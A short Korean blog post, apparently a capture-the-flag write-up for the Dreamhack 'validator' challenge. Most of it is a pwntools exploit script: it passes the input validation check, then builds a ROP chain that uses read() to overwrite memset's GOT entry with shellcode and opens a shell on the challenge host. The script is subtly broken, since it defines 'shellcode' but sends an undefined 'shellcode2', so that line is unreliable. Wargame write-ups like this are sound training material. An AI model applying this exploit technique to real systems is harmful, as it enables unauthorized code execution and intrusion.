blackbearwow 2022. 5. 29. 20:45

해당 워게임은 소스코드가 주어지지 않는다.

$ checksec validator_dist
[*] '/home/juho/Unix/dreamhack/systemHacking/validator/validator_dist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

partial relro 외에 다른 보호기법은 없다.

str변수에 0x400만큼 read한후 validate([rbp+str], 0x80)을 호출한다.

 

validate함수로 들어간후 switch to source를 하면 

맨처음 10개는 DREAMHACK!이고 나머지는 0x80까지 반복문이다. 해당 문자열을 만족해야 중간에 exit()하지 않는다.

 

ROPgadget을 사용하여 쉘을 획득한다. pop_rdx가젯도 주기 때문에 __libc_csu_init가젯을 사용하지 않아도 된다.

from pwn import *
import time
import binascii

context.update(arch='amd64', os='linux')

#p = process("./validator_server")
p = remote("host1.dreamhack.games", 11294)
e = ELF("./validator_server")

payload = b"DREAMHACK!"
for i in range(118):
    char = (118-i).to_bytes(1, byteorder="little")
    payload += char
payload += p64(0)

#ROPgadget --binary validator_dist | grep rdi
pop_rdi = 0x4006f3
pop_rsi_pop_r15 = 0x4006f1
pop_rdx = 0x40057b
memset_got = e.got["memset"]
read_plt = e.plt["read"]
print(hex(memset_got))
print(hex(read_plt))
#read(0, buf, count)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_pop_r15)
payload += p64(memset_got)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0x50)
payload += p64(read_plt)

payload += p64(e.got["memset"])

shellcode = asm(shellcraft.amd64.linux.sh())
p.send(payload)
time.sleep(0.5)
p.send(shellcode2)
p.interactive()